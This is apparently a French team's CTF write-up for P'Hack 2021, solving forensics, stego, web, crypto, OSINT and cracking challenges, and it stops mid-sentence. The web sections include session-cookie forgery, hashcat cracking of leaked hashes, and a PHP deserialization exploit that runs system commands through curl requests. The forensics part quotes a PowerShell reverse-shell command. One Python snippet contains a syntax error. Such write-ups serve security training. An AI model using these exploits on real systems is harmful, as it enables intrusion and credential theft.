--- tags: CTF --- # P'Hack 2021 - Équipe HDFR lien : https://ctf.phack.fr/ flag format : `PHACK{[A-Za-z0-9_$!^@&()-]*}` `4e place : 11103 pts` ## Forensics ### Piraterie (Ep1) ``` $ Forensics % strings dump.raw| grep "PHACK" PHACK_Windows7.pxe "PHACK{STEP_1-IC4nD0Wh4TuD0}" "PHACK{STEP_1-IC4nD0Wh4TuD0}" ``` Alternative attendu dans le CTF : ``` $ ./vol -f dump.raw --profile=Win7SP1x86_23418 consoles ... C:\Users\Mes-vms.fr\Desktop>dir Le volume dans le lecteur C n'a pas de nom. Le num?ro de s?rie du volume est 7008-0339 R?pertoire de C:\Users\Mes-vms.fr\Desktop 20/02/2021 23:25 <REP> . 20/02/2021 23:25 <REP> .. 20/02/2021 22:46 92?509 Wallpaper.jpg 1 fichier(s) 92?509 octets 2 R?p(s) 52?887?166?976 octets libres C:\Users\Mes-vms.fr\Desktop>echo "Got U fucker !!!!" > .Pwned C:\Users\Mes-vms.fr\Desktop>echo "PHACK{STEP_1-IC4nD0Wh4TuD0}" >> .Pwned C:\Users\Mes-vms.fr\Desktop>rm .Pwned 'rm' n'est pas reconnu en tant que commande interne ou externe, un programme ex?cutable ou un fichier de commandes. ... ``` Ce qui donne le flag **PHACK{STEP_1-IC4nD0Wh4TuD0}** Mais aussi une grosse indication pour Ep2 **Wallpaper.jpg** ### Piraterie (Ep2) On sait que le fichier recherché c'est le Wallpaper.jpg ``` $ ./vol -f dump.raw --profile=Win7SP1x86_23418 filescan > files.txt $ cat files.txt | grep -n "Wallpaper" 438:0x000000007d10b440 7 0 RWD--- \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg 2183:0x000000007fc9af80 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Characters\Desktop.ini 2189:0x000000007fca7260 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Landscapes\Desktop.ini 2191:0x000000007fca79d8 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Architecture\Desktop.ini 2319:0x000000007fd21900 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Nature\Desktop.ini 2484:0x000000007fe2f5f0 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Scenes\Desktop.ini ``` Malheureusement on ne trouve pas le fichier qui ce trouve sr le bureau. Par contre le fichier **\Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg** est une copie du fond d'écran de windows. En supposant que ce soit le meme que le fichier sur le bureau, on l'extrait et voila. ``` ─$ ./vol -f dump.raw --profile=Win7SP1x86_23418 dumpfiles -D . -Q 0x000000007d10b440 Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x7d10b440 None \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg ``` ![](https://i.imgur.com/8XsUhVA.jpg) ### Piraterie (Ep3) ``` $ vol.py -f dump.raw --profile=Win7SP1x86_23418 screenshot --dump-dir shot ``` ![image alt](https://imgur.com/boNyzzj.png) powershell -ep Bypass -file ".\reverse-shell.ps1" On avait donc vu plus haut qu'il y avait un revershell par le powershell on fait un : ``` $ vol.py -f dump.raw --profile=Win7SP1x86_23418 netscan 10.0.2.15:49461 185.13.37.99:1337 ESTABLISHED powershell.exe ``` `PHACK{MTg1LjEzLjM3Ljk5OjEzMzc=}` ### RAID En ce basant sur la doc du CTF et https://www.z-a-recovery.com/articles/raid5-variations.aspx On identifie que le ``` python import numpy as np D1 = open("DISK1.bin","rb").read() D3 = open("DISK3.bin","rb").read() size = len(D1) DISK1 = np.fromstring(D1, dtype=np.uint8) DISK2 = np.zeros((size)),dtype=np.uint8) DISK3 = np.fromstring(D3, dtype=np.uint8) DISK2 = DISK1 ^ DISK3 out =[] for i in range(size): if i%3 == 0: out.append(DISK1[i]) out.append(DISK2[i]) if i%3 == 1: out.append(DISK1[i]) out.append(DISK3[i]) if i%3 == 2: out.append(DISK2[i]) out.append(DISK3[i]) off = [0,821,74408,83576,118019,152544,152585,251963,252784,355137,366800,378069,385213,414115,414936,563574,581100,607329,642179,650904,664443,665532,724988,728769,737696,755920,765398,765439,944220,958049,967420,984715,997285,1000562,1007602,1011443,1029126,1029167,1212911,1229816,1247183,1257632,1274241,1277556,1307793] for i in range(len(off)-1): p = open("recontruct"+str(i),"wb") for oo in out[off[i]:off[i+1]]: p.write(oo) p.close() ``` **PHACK{R41d_1s_N1cE_7hANk_U2_m4s7ok_3000!!}** ## Stégano ### Strong Daddy on commence avec ça ```txt= Papa Alpha Papa Alpha Hotel Oscar Tango Echo Lima Alpha Lima Papa Hotel Alpha Charlie Hotel Alpha Romeo Lima India Echo Kilo India Lima Oscar Alpha Charlie Charlie Oscar Lima Alpha Delta Echo Golf Alpha Uniform Charlie Hotel Echo Whisky Hotel India Sierra Kilo Yankee Tango Hotel Romeo Echo Echo India November Delta India Alpha Romeo Oscar Mike Echo Oscar Delta Echo Lima Tango Alpha Tango Hotel Romeo Echo Echo Sierra India Echo Romeo Romeo Alpha Tango Alpha November Golf Oscar Uniform November Delta Echo Romeo Sierra Charlie Oscar Romeo Echo Foxtrot India Victor Echo Tango Alpha November Golf Oscar Tango Hotel Romeo Echo Echo Golf Oscar Lima Foxtrot Alpha Lima Papa Hotel Alpha November Oscar Victor Echo Mike Bravo Echo Romeo Zulu Echo Romeo Oscar Uniform November Delta Echo Romeo Sierra Charlie Oscar Romeo Echo Tango Hotel Romeo Echo Echo Victor India Charlie Tango Oscar Romeo Tango Hotel Romeo Echo Echo Romeo Oscar Mike Echo Oscar Alpha Charlie Charlie Oscar Lima Alpha Delta Echo Delta Romeo Oscar India Tango Echo ``` il s'agit de l'alphabet aéronotique en regardant chaque lettre on recompose un début de flag et ensuite on reapplique la même chose sur ce qu'on à obtenus et hop c'est le bon flag ### Caumunikassion Dans l'introduction du chall on nous donne ce lien : https://ctf.phack.fr qui renvoie vers l'accueil du site du P'HackCTF. ![](https://i.imgur.com/nmh8rCo.png) Il suffit ensuite de strings sur l'image centrale, on trouve alors l'URL: https://pastebin.com/raw/xjyzhxYZ Qui nous renvoie sur la page où se trouve le flag. ![](https://i.imgur.com/VYfVGPm.png) ### Chasse aux oeufs On nous donne une image avec des lapins tout mignons dans laquelle on doit chercher des oeufs. ![](https://i.imgur.com/SQUcp7Z.jpg) On remarque que chaque oeuf est constitué d'une unique couleur. On récupère cette valeur en hexa que l'on convertis en ASCII. ``` 14 : 3f5f7d 13 : 5f3f21 12 : 5f6974 11 : 6e2774 10 : 5f3173 9 : 6e6733 8 : 6c6c33 7 : 636834 6 : 6e745f 5 : 6c6c33 4 : 676333 3 : 5f4567 2 : 434b7b 1 : 504841 flag : PHACK{_Eggc3ll3nt_ch4ll3ng3_1sn't_it_?!?_} ``` ### Alter Egg-o Juste un PNG "corrompu" en gros le header a été remplacé par "DEADBEEF" on remplace par le vrai header qui est : `8950 4E47` ![image alt](https://imgur.com/pu1gfKx.png) ### Une Douce Petite Musique On nous donne un échange d'email avec deux pièces jointes. L'une est un tableau excel avec des caractères ressemblent fortement à ceux d'un flag et l'autre un morceau de piano. En ouvrant le morceau de piano avec synthesia, on voit que les notes se répartissent sur 5 octaves différentes, comme les 5 lignes du tableau, et que ce sont toujours les mêmes, `A, B, C, D, E, F ou G`, comme les nomes des colonnes du tableau. En sachant ça, on retrouve le flag : `PHACK{_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_FAIRE_DANSER_LES_DIABLES_ET_LES_DIEUX_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_VOIR_GRANDIR_LA_FLAMME_DANS_VOS_YEUX_ALLUMER_LE_FEU_}` (Beaucoup trop long...) ### Aliens x Wejdene On voit un fichier .wav avec des sons bizarre -> Audacity ça parait étrange donc spectrogramme: ![link text](https://imgur.com/i2MaZZP.png) on a notre flag: `PHACK{i7_s0uNds_l1k3_w3jd3n3}` ## Réseau ### Système de nom de domaine on voit dans les hints "dns", petite recherche avec : https://www.dnsqueries.com/en/dns_lookup.php ![image alt](https://imgur.com/eH0gpfL.png) ## Web ### The Faceboox ![](https://mrfey.fr/assets/PHACK/phack-face-menu.png) #### Recon: Gobuster: ``` //static/ (Status: 403) [Size: 199] //profile.php (Status: 302) [Size: 0] [--> ../login.html] //user.php (Status: 302) [Size: 0] [--> ../login.html] //404.html (Status: 200) [Size: 6637] //index.html (Status: 200) [Size: 17012] //login.html (Status: 200) [Size: 7975] //static (Status: 301) [Size: 244] [--> http://the-faceboox.phack.fr/static/] //backend/ (Status: 403) [Size: 199] ``` Sqlmap donne rien... Nikto donne rien... Petit hint dans index.html ![image alt](https://mrfey.fr/assets/PHACK/phack-face-sources.png) ```html= <!------ TODO ------ > * Add edit profile functions * Add register backend * Change the name (TheFaceboom ? TheFaceboop ?) * Remove demo "Press Account" (demo/demo) <--------------------> ``` ZAP trouve un truc interessant: media.html Un autre enpoint pour ce log Et du coup les creds __demo:demo__ fonctionnent !!! ![image alt](https://mrfey.fr/assets/PHACK/phack-face_media.png) #### Step2: on a un cookie de session en base64 ``` eyJpZCI6IjEiLCJ0eXBlIjoicCJ9 --> {"id":"1","type":"press"} ``` On a pas accès aux autres endpoints mais si on change le type en student: ``` eyJpZCI6IjEiLCJ0eXBlIjoic3R1ZGVudCJ9 --> {"id":"1","type":"student"} ``` Alors on y a accès. On peut aussi regarder alors backend/search.php Et... ```php= This server is running an unsupported MySQL [...] '/var/www/html/old_Test_Database.sql' (2) [...]136. Ask your system administrator to upgrade MySQL to improve security and features.% ``` Donc on peut Dl /var/www/html/old_Test_Database.sql On est extrait les infos suivantes: ``` salt == 7heF@c3b00x (suffixed) Cred: Mike:a1a93242bea0cd80285ccfaf69ff96b1 Laura:cb24a277e4b0c98e2d5eefbc17b2e658 Kevin:a066fcee06d941af7c0dfbdd05c4cda3 Rachel:a8a2ddbeeff303b0694e480c32c8ae6c ``` ```bash ┌──[fey ☣️ ️ kali] ⚔ └[~/CHALLS/CTF/PHACK/WEB/TheFaceboox] = = = > hashcat -m 10 creds_hash.txt /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================= * Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 3935/3999 MB (1024 MB allocatable), 3MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimim salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 4 digests; 4 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers applied: * Zero-Byte * Early-Skip * Not-Iterated * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 64 MB Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 2 secs a8a2ddbeeff303b0694e480c32c8ae6c:7heF@c3b00x:fox12345 a066fcee06d941af7c0dfbdd05c4cda3:7heF@c3b00x:NarutoUzumaki cb24a277e4b0c98e2d5eefbc17b2e658:7heF@c3b00x:XxlauraxX a1a93242bea0cd80285ccfaf69ff96b1:7heF@c3b00x:Mike94 Session..........: hashcat Status...........: Cracked Hash.Name........: md5($pass.$salt) Hash.Target......: creds_hash.txt Time.Started.....: Fri Apr 2 19:20:49 2021 (7 secs) Time.Estimated...: Fri Apr 2 19:20:56 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1605.8 kH/s (1.08ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 4/4 (100.00%) Digests Progress.........: 10825728/14344385 (75.47%) Rejected.........: 0/10825728 (0.00%) Restore.Point....: 10822656/14344385 (75.45%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: Milly001 -> Miababy1 Started: Fri Apr 2 19:20:43 2021 Stopped: Fri Apr 2 19:20:58 2021 ``` Ok on a les mdp de plusieurs users: ``` Mike:Mike94 Laura:XxlauraxX Kevin:NarutoUzumaki Rachel:fox12345 Et les mails: mark.zuckerberg@thefaceboox.com:? rachel.west@fox-news.com:fox12345 kev.rgn@caramail.com:NarutoUzumaki laura00@aol.com:XxlauraxX mike.spen@harvard.edu:Mike94 ``` #### Step 3: ![image alt](https://mrfey.fr/assets/PHACK/phack-face-msg.png) From mark -> Rachel ``` Hey Rachel ! I've juste reset the Fox News press account password as you requested. <br><br>The new password is : jKslA54sSjdAjs.<br><br>Make sure to change it next time you login ! :) ``` On a les infos sur les medias de press dans la database SQL ``` -- -- Dumping data for table `press` -- LOCK TABLES `press` WRITE; /*!40000 ALTER TABLE `press` DISABLE KEYS */; INSERT INTO `press` VALUES (1,'demo',''),(2,'cnn',''),(3,'nyt',''),(4,'guardian',''),(5,'fox',''); /*!40000 ALTER TABLE `press` ENABLE KEYS */; UNLOCK TABLES; ``` #### Last Step On peut se log sur medial.html avec __fox:jKslA54sSjdAjs__, *on note que notre id est le 5 (comme Mark dans la table des students) en reitérant la technique du cookie on peut alors devenir Mark qui lui aussi est 5: ``` eyJpZCI6NSwidHlwZSI6InByZXNzIn0= --> {"id":5,"type":"press"} ``` ``` eyJpZCI6NSwidHlwZSI6InN0dWRlbnQifQ== --> {"id":5,"type":"student"} ``` Grace au cookie on passe sur le profile de Mark ! ![image alt](https://mrfey.fr/assets/PHACK/phack-face-mark.png) Et dans ses messages on voit le Flag ![image alt](https://mrfey.fr/assets/PHACK/phack-face-flag.png) Done ! ### Fuzz Me J'ai trouvé quelques endpoints interessant: fuzz-me.phack.fr/api/login fuzz-me.phack.fr/api/sessions fuzz-me.phack.fr/api/user session: N°4 == admin ``` "eyJ1c2VyIjogIjg3MmUwYTQxLTk5ZTUtNGU3Ni1hNWU3LTk2MDkzNzU3ZmE4MSIsICJpc0FkbWluIiA6IHRydWUsICJ3ZWlyZF9zdHVmZiIgOiAiU1NCaGJTQjBhR1VnWVdSdGFXNGdJUT09IiwgImhhcHB5X3NtaWxleSIgOiAi8J+RqOKAjfCfjbMifQ==" ``` ``` {"user": "872e0a41-99e5-4e76-a5e7-96093757fa81", "isAdmin" : true, "weird_stuff" : "SSBhbSB0aGUgYWRtaW4gIQ==", "happy_smiley" : "👨.🍳"} ``` #### sur le endpoint user: La requete suivante : ``` GET /api/user HTTP/1.1 Host: fuzz-me.phack.fr User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 0 Origin: http://fuzz-me.phack.fr Connection: close Referer: http://fuzz-me.phack.fr/ ``` Donne le résultat suivant : ``` HTTP/1.0 400 BAD REQUEST Content-Type: application/json Content-Length: 34 Server: Werkzeug/1.0.1 Python/3.9.2 Date: Sun, 04 Apr 2021 14:16:57 GMT {"error": "Paramètre manquant !"} ``` Il manque donc un paramètre GET dans la requete. En utilisant wfuzz et une bonne wordlist (SecLists/Discovery/Web-Content/burp-parameter-names.txt) On trouve : ``` └─$ wfuzz -c -w burp-parameter-names.txt 'http://fuzz-me.phack.fr/api/user?FUZZ=toto' | grep -v "33 Ch" 130 ⨯ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://fuzz-me.phack.fr/api/user?FUZZ=toto Total requests: 2588 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001359: 500 0 L 4 W 27 Ch "uuid" ``` On modifi la requete avec le bon paramettre et l'uuid de l'admin: ``` GET /api/user?uuid=872e0a41-99e5-4e76-a5e7-96093757fa81 HTTP/1.1 Host: fuzz-me.phack.fr User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 0 Origin: http://fuzz-me.phack.fr Connection: close Referer: http://fuzz-me.phack.fr/ ``` On obtient alors : ``` HTTP/1.0 200 OK Content-Type: application/json Content-Length: 147 Server: Werkzeug/1.0.1 Python/3.9.2 Date: Sun, 04 Apr 2021 14:24:10 GMT { "info": { "name" : "Biden", "firstname" : "Joe", "login" : "admin", "password" : "NeOIsTh3T4rget<3", "description":"Président, tout simplement." } } ``` Il suffit a présent de ce connecter avec ces identifiants. ``` Bravo, voici le flag : PHACK{th1s_1s_H0w_w3_d0_enum3r4ti0n_m4n} ``` ### PHackTory A première vu, aucun endpoint de dispo mais un petit coup de nikto et on trouve des choses interessantes: ``` ┌──[fey ☣️ ️ kali] ⚔ [ 1] └[~/CHALLS/CTF/PHACK/WEB/fuzzme] = = = > nikto -h phacktory.phack.fr - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 12.42.0.10 + Target Hostname: phacktory.phack.fr + Target Port: 80 + Start Time: 2021-04-02 16:54:09 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + Retrieved x-powered-by header: PHP/8.0.3 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use -C all to force check all possible dirs) + /backup.zip: Potentially interesting archive/cert file found. + /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address). ``` Visiblement un backup.zip est dipo ``` ┌──[fey ☣️ ️ kali] ⚔ └[~/CHALLS/CTF/PHACK/WEB/phacktory] = = = > unzip backup.zip Archive: backup.zip creating: images/ inflating: index.php inflating: images/background.jpg inflating: images/favicon.png ``` Cool on a les sources: ```php= <?php include("config.php"); // Easter chocolate creation factory // WIP : Do not send to production, I think it not safe yet. I should ask to my master // // __)), // //_ _) // ( "\" // \_-/ // ,---/ '---. // / - - \ // / \_. _|__,/ \ // / )\ )\_ \ // / _/ ( ' ) / / // / | (_____) | / // /,' / \/ /, // _/(_ ( ._, )-' // `--,/ |____|__| // | ) | // | / | // | / \ | // / `| | _) // | | | | // | / \ | // | | \ | // | \ | \_ // /__( '-._`, class PHackTory { public $type; public $quantity; public function __construct() { if(isset($_POST['type'])) { $this -> type = $_POST['type']; } else { $this -> order = "milky"; } if(isset($_POST['quantity'])) { $this -> quantity = $_POST['quantity']; } else { $this -> quantity = "50"; } } public function __wakeup() { global $DEBUG; $types = ["dark", "white", "milky", "fruity", "95%", "flag"]; $quantities = [1, 5, 10, 25, 50, 100, "PHACK{}"]; if (isset($this -> type) && isset($this -> quantity)) { if(in_array($this -> type, $types) && in_array($this -> quantity, $quantities)) { prepareOrder($this); return "Votre commande de " . $this -> quantity . " chocholats (" . $this -> type . ") est en préparation."; } else { if ($DEBUG) { //Affichage des variables pour deboguer. Enfin..Je crois que c'est ça que ca fait. eval($this -> type . ' ' . $this -> quantity); } return "Il semble y avoir un problème avec votre commande. Merde de contacter quelqu'un d'autre."; } } } public function prepareOrder(){ // ToDo } } $a = $_GET['what']; $b = $_POST['is']; $c = $_POST['cool']; $d = $_GET['the']; ?> <!doctype html> <html lang="fr"> <head> <meta charset="utf-8"> <title>PHackTory</title> <link rel="icon" type="image/png" href="images/favicon.png" /> </head> <body style="background-image: url('images/background.jpg'); background-size: cover;"> <div style=" position: absolute; left: 20%; top: 25%; width: 60%; padding: 10px; text-align: center; background-color: white; opacity: 0.7; font-size: 3rem;"> <h1 style="text-decoration: underline;">PHackTory</h1> <p> Votre magasin se prépare pour les fêtes. <br/> Les commandes ne sont pas encore ouvertes. </p> </div> <?php if(isset($a) && isset($b) && isset($c) && isset($d)) { if($d == "flag" && $a == "is") { if ($b > 1538) { $myOrder = unserialize($_GET['please']); return "Oui !"; } else { return "Peut-être !"; } } else { return "Certainement pas!"; } } else { return "Non !"; } ?> </body> </html> ``` On voit qu'on va pouvoir exploiter la deserialization PHP pour appeler la fonction __wakeup() qui contient un appel a eval Voici un objet lambda serializer de la classe PHackTory ```php= O:9:"PHackTory":3:{s:4:"type";N;s:8:"quantity";s:2:"50";s:5:"order";s:5:"milky";} ``` Et voici notre objet pour l'exploit ```php= O:9:"PHackTory":3:\{s:4:"type";s:8:"system(%27";s:8:"quantity";s:5:"ls%27);";s:5:"DEBUG";b:0;\} ``` Ainsi la fonction eval: ```php= eval(system("ls")) ``` On oublie pas tous les petis parametre de la request en plus pour valider les conditions du code pour arriver jusqu'au ```php= $myOrder = unserialize($_GET['please']); ``` ***Exploit:*** ```bash curl -X POST 'phacktory.phack.fr/index.php?what=is&the=flag&please=dd&please=O:9:"PHackTory":3:\{s:4:"type";s:8:"system(%27";s:8:"quantity";s:5:"ls%27);";s:5:"DEBUG";b:0;\}' --data 'is=20000&cool=truc' [...] config-126546845171616835186.php images index.php ``` ```bash curl -X POST 'phacktory.phack.fr/index.php?what=is&the=flag&please=dd&please=O:9:"PHackTory":3:\{s:4:"type";s:8:"system(%27";s:8:"quantity";s:39:"cat%20config-126546845171616835186.php%27);";s:5:"DEBUG";b:0;\}' --data 'is=20000&cool=truc' [...] $FLAG="PHACK{l3s_cl0Ch3s_s0nT_p4s5ees_!}"; [...] ``` Nice and First blooded By the way ^^ ``` Challenge 2 Solves Name Date HDFR 3 hours ago Bleubytes 2 hours ago ``` ### Wall-E On se balade sur une page qui nous parle de robot donc on chechk le robots.txt et hop : ![](https://i.imgur.com/0xgDdRP.png) on va sur l'url ![](https://i.imgur.com/jaRYUqQ.png) and Gotcha ### Hello World GET /step-1-28d43e77.php HTTP/1.1 `<!-- <a href="step-2-c1cc9945.php">Etape 2</a> -->` GET /step-2-c1cc9945.php HTTP/1.1 `Next-page: step-3-ec119828.php` GET /step-3-ec119828.php HTTP/1.1 `Set-Cookie: Next-page=step-4-b270e4f9.php;` GET /step-4-b270e4f9.php ``` Ce texte n'est pas encodé en base64.</h1> <p>c3RlcC01LTFjM2VmNzA2LnBocA== #step-5-1c3ef706.php ``` GET /step-5-1c3ef706.php HTTP/1.1 ``` Ne crack pas ce hash MD5, et ne soumet pas le résultat via le formulaire.</h1> <p>8621ffdbc5698829397d97767ac13db3 #dragon ``` on crack grâce à https://crackstation.net/ `N'APPELLE PAS LA FONCTION JAVASCRIPT '_0927()' ` on a juste à utiliser la console sur son navigateur préféré on écrit: _0927() ![image alt](https://imgur.com/mmTHpaS.png) ### Agenda Injection Graphql pour recuperer tous les champs: `query {__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` ![image alt](https://imgur.com/3Eu3x3x.png) `query {persons{login}}` `"login":"flagman"` `query {persons{passw0rd}}` `"passw0rd":"s3cr3t_d0_n07_Sh4r3"` ![image alt](https://imgur.com/dJSzj3A.png) ### Agenda 2 Askip c'est un truc avec des mutations GraphQL Probablement la mutation AddPerson() mais je sais pas comment la faire Dump ``` GraphQLmap > dump_new ============= [SCHEMA] =============== e.g: name[Type]: arg (Type!) Comment id[ID]: comment[String]: createdOn[]: author[String]: talk[Talk]: CommentPageableResponse pageInfo[PageInfo]: content[Comment]: Conference id[ID]: name[String]: city[]: talks[None]: Mutation addConference[]: conference (InputConference!), addPerson[]: person (InputPerson!), addTalk[]: talk (!), addTalkToConference[]: conferenceId (!), talkId (!), addSpeakerToTalk[]: talkId (!), speakerId (!), PageInfo totalElements[Long]: totalPages[Long]: numberOfElements[Long]: pageNumber[Long]: pageSize[Long]: Person id[ID]: name[String]: blog[]: githubAccount[]: login[]: passw0rd[]: talks[None]: Query persons[None]: filter (!), person[]: id (Long!), talks[None]: filter (!), talk[]: id (Long!), conferences[None]: filter (!), conference[]: id (Long!), comment[]: id (Long!), comments[]: page (!), Subscription comments[Comment]: Talk id[ID]: title[String]: summary[]: speakers[None]: conferences[None]: __Directive __EnumValue __Field __InputValue __Schema __Type ``` Au final, avec l'aide d'un IDE GraphQL (alias GraphiQL), j'ai pû mettre en plus la mutation en m'inscrivant avec cette mutation: ``` mutation { addPerson(person: { login: "helyosis", passw0rd: "helyosis" } ) { id } } ``` La mutation a réussi, j'ai reçu mon id de connexion après et j'ai pu me connecter avec helyosis:helyosis sur le site, qui m'as accueilli avec le flag :sunglasses: PS: Le plus galère, c'était de mettre en place les tools, je vous recommande [GraphiQL](https://www.electronjs.org/apps/graphiql) qui est en local et qui est bien complet (Headers custom / Possibilité d'utiliser un proxy) ## Crypto ### Guacamole Simple vigenere cipher. En brute force, on obtient `C'est bravo ! En hommage au meilleur avocat de notre generation, le flag est marShallEriKSen. J'espere que le jeu de mot vous aura plu ("A vaut K")!` Flag : `PHACK{marShallEriKSen}` ### Enchaîné On nous donne ce message : `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQSGFja0NURiIsImlhdCI6MTYxNzM4NjQwMCwiZXhwIjoxNjE4MTY0MDAwLCJhdWQiOiIiLCJzdWIiOiIiLCJmbGFnIjoiNTEzMTU2NGY1NTQ2NjgzNzVhMzM1NTc4NWE2YzM4Nzc1OTU0NGU2NjYxNmE1MjZkNTgzMTU2MzI1NTU2NDU3YTU5NTgzMDNkIn0.XsPHPbpV2oHwi8t1dPXblJ2IokuUNhJywOyqKdFB9cw ` On reconnait de la base64 que l'on decode avec cyberchef, on obtient : `{"typ":"JWT","alg":"HS256"}{"iss":"PHackCTF","iat":1617386400,"exp":1618164000,"aud":"","sub":"","flag":"5131564f554668375a3355785a6c387759544e66616a526d583156325556457a5958303d"}.°ñÏn.v |"òÝ]=vå'b(.å ..°;*.tP}s` Un petit coup de Magic sur le champ flag et on obtient : `CUNPX{gu1f_0a3_j4f_UvQQ3a}` On fait un ROT13 dessus et.... Flag : `PHACK{th1s_0n3_w4s_HiDD3n}` ### h3lp On dirait du BrainFuck déguisé donc petit script en python pour virer les caractères inutiles : Et non c'est (évidament) "Ecriture LSPK90 Horaire": WOODY, I STOLE ANDY'S OLD CELLPHONE TO WARN YOU : I FEEL LIKE BO PEED WAS KIDNAPPED. MY INVESTIGATIONS ARE LEADING ME TO THE INFAMOUS ZURG. MR POTATO AND REX ARE HELPING ME ON THIS. MEET ME TONIGHT, 7P.M, AT PIZZAPLANET. I HEARD THAT ONE OF THE LITTLE GREEN MEN MIGHT HAVE SEEN SOMETHING. DON'T WORRY COWBOY : WE HAVE A FRIEND IN NEED, AND WE WILL NOT REST UNTIL HE'S SAFE IN ANDY'S ROOM. Le flag: PHACK{PIZZAPLANET} ## OSINT ### sauce.io Petite référence à ce qu'à fait Omar Sy pour dévoiler la date de la 2nd partie de la série Lupin, cad en cachant la date derière sa photo de profil sur Twitter (ou Insta?). On regarde donc le twitter du CTF : ![](https://imgur.com/HvNqJGP.png) ### X-Sière On nous donne une image où l'on voit une statue de dauphin et un port. En cherchant un peu, on remarque que cette statue ce situe dans la ville de Rhodes, en Grèce. On nous demande de retrouver le nom du bateau de croisière et on nous dit également que la photo a été prise à 300 mètres du bateau. En se baladant un peu dans street view, on trouve le bateau suivant : ![](https://i.imgur.com/rEISkUP.jpg) Flag : `PHACK{CELEBRITYINFINITY}` ### Mr Weak on part de ce github: https://github.com/johnnyweak/secret-project, trouvé grâce à https://osintframework.com/ sur lequel on trouve une clé RSA privé (servira pour l'auth SSH) on trouve aussi un commit intéressant : https://github.com/johnnyweak/secret-project/commit/985ccedd33f7f0a57f6d678d623563b248b9eb53 surlequel on trouve : ![](https://imgur.com/DPFnGu4.png) on se connecte en ssh ![](https://imgur.com/aNBIoh3.png) ## Cracking ### Cracky On nous donne le hash suivant : `19f9f30bd097d4c066d758fb01b75032` On va sur tunnelsup.com pour identifier le type de hash et on remarque qu'il s'agit d'un hash MD5. On le déchiffre et on a le flag : `PHACK{justdoit}` ### Etsy On nous donne un dossier avec un fichier de mot de passe, un fichier passwd et un fichier shadow. Au vu du nom des utilisateurs, on en déduit que le patron est l'utilisateur 'Phackito' On edit les fichiers passwd et shadow pour ne laisser que les infos de 'Phackito' Avec `john`, on fait : `unshadow passwd shadow > un_fichier.txt` `john un_fichier.txt --wordlist=irockyou.txt` `martin@DESKTOP-1G3LO59:~/ctf/phack/files$ john passwd.txt --wordlist=irockyou.txt` `murder! (PHackito)` Flag : `PHACK{murder!}` ### Sammy On nous donne un dossier avec des hexdump qu'on analyse sur hexed.it En ouvrant le fichier sam et en se baladant, on trouve ça : ![](https://i.imgur.com/Ah8lvpF.png) Flag : PHACK{Tesla1971} ## Programmation ### Ben & Harry On se connecte avec nc : `nc ben-and-harry.phack.fr 1664` On nous donne des outputs successifs du style : `{"b": 3, "code": "2102 11100 1012 10210 1221 10220 11022 1122 1012 11011 1210 11020 11022 1220 11112 1200 10122 10220 1220 11002 1012 11101 1210 1222 1012 11001 1221 11021 11012 11100 1220 11021 1020", "msg": "Yes! One more."}` Le champ b nous donne la base, 